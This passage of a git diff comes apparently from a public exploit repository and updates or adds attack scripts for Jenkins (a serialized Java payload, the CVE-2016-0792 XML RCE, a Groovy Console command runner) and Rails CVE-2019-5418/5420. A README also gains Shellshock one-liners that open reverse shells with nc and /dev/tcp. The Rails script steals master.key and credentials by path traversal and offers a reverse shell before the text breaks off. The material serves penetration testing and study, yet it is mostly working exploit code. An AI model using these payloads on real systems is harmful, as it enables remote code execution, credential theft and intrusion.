x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x78\x70\x00\x00\x00\x43\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x3c\x74\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x74\x00\x10\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x03\x08\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\x6e\x65\x6c\x2e\x6a\x61\x76\x61\x74\x00\x04\x63\x61\x6c\x6c\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xfa\x74\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x74\x00\x1c\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x2e\x6a\x61\x76\x61\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x24\x50\x72\x6f\x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f\x74\x65\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x00\x0e\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\x1f\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x6e\x6e\x65\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x78\x72\x00\x2c\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x78\x70\x00\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x3c\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x70\x73\x7d\x00\x00\x00\x02\x00\x2e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x00\x1c\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x49\x52\x65\x61\x64\x52\x65\x73\x6f\x6c\x76\x65\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78\x70\x73\x72\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x05\x5a\x00\x14\x61\x75\x74\x6f\x55\x6e\x65\x78\x70\x6f\x72\x74\x42\x79\x43\x61\x6c\x6c\x65\x72\x5a\x00\x09\x67\x6f\x69\x6e\x67\x48\x6f\x6d\x65\x49\x00\x03\x6f\x69\x64\x5a\x00\x09\x75\x73\x65\x72\x50\x72\x6f\x78\x79\x4c\x00\x06\x6f\x72\x69\x67\x69\x6e\x71\x00\x7e\x00\x0d\x78\x70\x00\x00\x00\x00\x00\x02\x00\x73\x71\x00\x7e\x00\x0b\x71\x00\x7e\x00\x43\x74\x00\x78\x50\x72\x6f\x78\x79\x20\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x40\x32\x20\x77\x61\x73\x20\x63\x72\x65\x61\x74\x65\x64\x20\x66\x6f\x72\x20\x69\x6e\x74\x65\x72\x66\x61\x63\x65\x20\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x75\x71\x00\x7e\x00\x11\x00\x00\x00\x0d\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x7d\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x89\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x74\x00\x04\x77\x72\x61\x70\x73\x71\x00\x7e\x00\x13\x00\x00\x02\x6a\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x74\x00\x06\x65\x78\x70\x6f\x72\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x02\xa6\x74\x00\x21\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x74\x00\x16\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x4a\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x46\x71\x00\x7e\x00\x1d\x71\x00\x7e\x00\x1e\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x03\x08\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x71\x00\x7e\x00\x22\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xfa\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x00\x7e\x00\x26\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x71\x00\x7e\x00\x28\x70\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x71\x00\x7e\x00\x2b\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x71\x00\x7e\x00\x30\x71\x00\x7e\x00\x31\x71\x00\x7e\x00\x32\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x34\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x36\x71\x00\x7e\x00\x3a\x78\x78\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00\x07\x46\xac\xed\x00\x05\x73\x72\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04\x49\x00\x03\x6f\x69\x64\x5b\x00\x09\x61\x72\x67\x75\x6d\x65\x6e\x74\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x05\x74\x79\x70\x65\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x77\x08\xff\xff\xff\xfe\x00\x00\x00\x02\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49\x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x77\x04\x00\x00\x00\x00\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x77\x04\x00\x00\x00\x00\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x77\x04\x00\x00\x00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x02\x5b\x00\x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x77\x04\xff\xff\xff\xfd\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x0b\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x02\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x02\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x02\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x43\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x02\x39\x74\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x74\x00\x1c\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xf6\x74\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x71\x00\x7e\x00\x1e\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x24\x50\x72\x6f\x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\x6e\x65\x6c\x2e\x6a\x61\x76\x61\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f\x74\x65\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x00\x0e\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\x1f\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x6e\x6e\x65\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2a\x71\x00\x7e\x00\x2b\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\x00\x2a\x71\x00\x7e\x00\x2b\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x77\x04\xff\xff\xff\xfd\x78\x72\x00\x2c\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b\x77\x04\xff\xff\xff\xfd\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x39\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x70\x00\x00\x00\x01\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x01\x74\x00\x18\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x6c\x69\x45\x6e\x74\x72\x79\x50\x6f\x69\x6e\x74\x71\x00\x7e\x00\x24\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x74\x00\x1d\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x28\x31\x2c\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x79\x29' sock.send(payload) -print '[+] Sent payload' +print('[+] Sent payload') diff --git a/CVE Exploits/Jenkins CVE-2016-0792.py b/CVE Exploits/Jenkins CVE-2016-0792.py index 70b470982c..fdf4163acb 100644 --- a/CVE Exploits/Jenkins CVE-2016-0792.py +++ b/CVE Exploits/Jenkins CVE-2016-0792.py @@ -4,6 +4,7 @@ #Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins #Made with <3 by @byt3bl33d3r +from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) @@ -23,17 +24,17 @@ args = parser.parse_args() if len(args.target.split(':')) != 2: - print '[-] Target must be in format IP:PORT' + print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: - print '[-] You must specify a command to run' + print('[-] You must specify a command to run') sys.exit(1) ip, port = args.target.split(':') -print '[*] Target IP: {}'.format(ip) -print '[*] Target PORT: {}'.format(port) +print('[*] Target IP: {}'.format(ip)) +print('[*] Target PORT: {}'.format(port)) xml_formatted = '' command_list = args.command.split() @@ -67,11 +68,11 @@ '''.format(xml_formatted.strip()) -print '[*] Generated XML payload:' -print xml_payload -print +print('[*] Generated XML payload:') +print(xml_payload) +print() -print '[*] Sending payload' +print('[*] Sending payload') headers = {'Content-Type': 'text/xml'} r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload) @@ -79,5 +80,5 @@ if r.status_code == 500: for path in paths_in_trace: if path in r.text: - print '[+] Command executed successfully' + print('[+] Command executed successfully') break diff --git a/CVE Exploits/Jenkins Groovy Console.py b/CVE Exploits/Jenkins Groovy Console.py new file mode 100644 index 0000000000..2c32fc980a --- /dev/null +++ b/CVE Exploits/Jenkins Groovy Console.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python +# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py +# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b +from __future__ import print_function +from builtins import input +import requests +import sys + +print(""" +Jenkins Groovy Console cmd runner. + +usage: ./jgc.py [HOST] + +Then type any command and wait for STDOUT output from remote machine. +Type 'exit' to exit :) +""") +URL = sys.argv[1] + '/scriptText' +HEADERS = { + 'User-Agent': 'jgc' +} + +while 1: + CMD = input(">> Enter command to execute (or type 'exit' to exit): ") + if CMD == 'exit': + print("exiting...\n") + exit(0) + + DATA = { + 'script': 'println "{}".execute().text'.format(CMD) + } + result = requests.post(URL, headers=HEADERS, data=DATA) + print(result.text) \ No newline at end of file diff --git a/CVE Exploits/README.md b/CVE Exploits/README.md index 41b223c68f..8563a19ebd 100644 --- a/CVE Exploits/README.md +++ b/CVE Exploits/README.md @@ -10,8 +10,9 @@ The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptograph Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system. -```bash -echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.0.XX 4444 -e /bin/sh\r\n +```powershell +echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0.0.2 4444 -e /bin/sh\r\n" +curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi" ``` ## CVE-2017-5638 - Apache Struts 2 diff --git a/CVE Exploits/Rails CVE-2019-5420.rb b/CVE Exploits/Rails CVE-2019-5420.rb new file mode 100644 index 0000000000..647f03f575 --- /dev/null +++ b/CVE Exploits/Rails CVE-2019-5420.rb @@ -0,0 +1,156 @@ +require 'erb' +require "./demo-5.2.1/config/environment" +require "base64" +require 'net/http' + +$proxy_addr = '127.0.0.1' +$proxy_port = 8080 + +$remote = "http://172.18.0.3:3000" +$ressource = "/demo" + +puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n" + +print "[+] Checking if vulnerable to CVE-2019-5418 => " +uri = URI($remote + $ressource) +req = Net::HTTP::Get.new(uri) +req['Accept'] = "../../../../../../../../../../etc/passwd{{" +res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| + http.request(req) +} +if res.body.include? "root:x:0:0:root:" + puts "\033[92mOK\033[0m" +else + puts "KO" + abort +end + +print "[+] Getting file => credentials.yml.enc => " +path = "../../../../../../../../../../config/credentials.yml.enc{{" +for $i in 0..9 + uri = URI($remote + $ressource) + req = Net::HTTP::Get.new(uri) + req['Accept'] = path[3..57] + res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| + http.request(req) + } + if res.code == "200" + puts "\033[92mOK\033[0m" + File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) } + break + end + path = path[3..57] + $i +=1; +end + +print "[+] Getting file => master.key => " +path = "../../../../../../../../../../config/master.key{{" +for $i in 0..9 + uri = URI($remote + $ressource) + req = Net::HTTP::Get.new(uri) + req['Accept'] = path[3..57] + res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| + http.request(req) + } + if res.code == "200" + puts "\033[92mOK\033[0m" + File.open("master.key", 'w') { |file| file.write(res.body) } + break + end + path = path[3..57] + $i +=1; +end + +print "[+] Decrypt secret_key_base => " +credentials_config_path = File.join("../", "credentials.yml.enc") +credentials_key_path = File.join("../", "master.key") +ENV["RAILS_MASTER_KEY"] = res.body +credentials = ActiveSupport::EncryptedConfiguration.new( + config_path: Rails.root.join(credentials_config_path), + key_path: Rails.root.join(credentials_key_path), + env_key: "RAILS_MASTER_KEY", + raise_if_missing_key: true +) +if credentials.secret_key_base != nil + puts "\033[92mOK\033[0m" + puts "" + puts "secret_key_base": credentials.secret_key_base + puts "" +end + +puts "[+] Getting reflective command (R) or reverse shell (S) => " +loop do + begin + input = [(print 'Select option R or S: '), gets.rstrip][1] + if input == "R" + 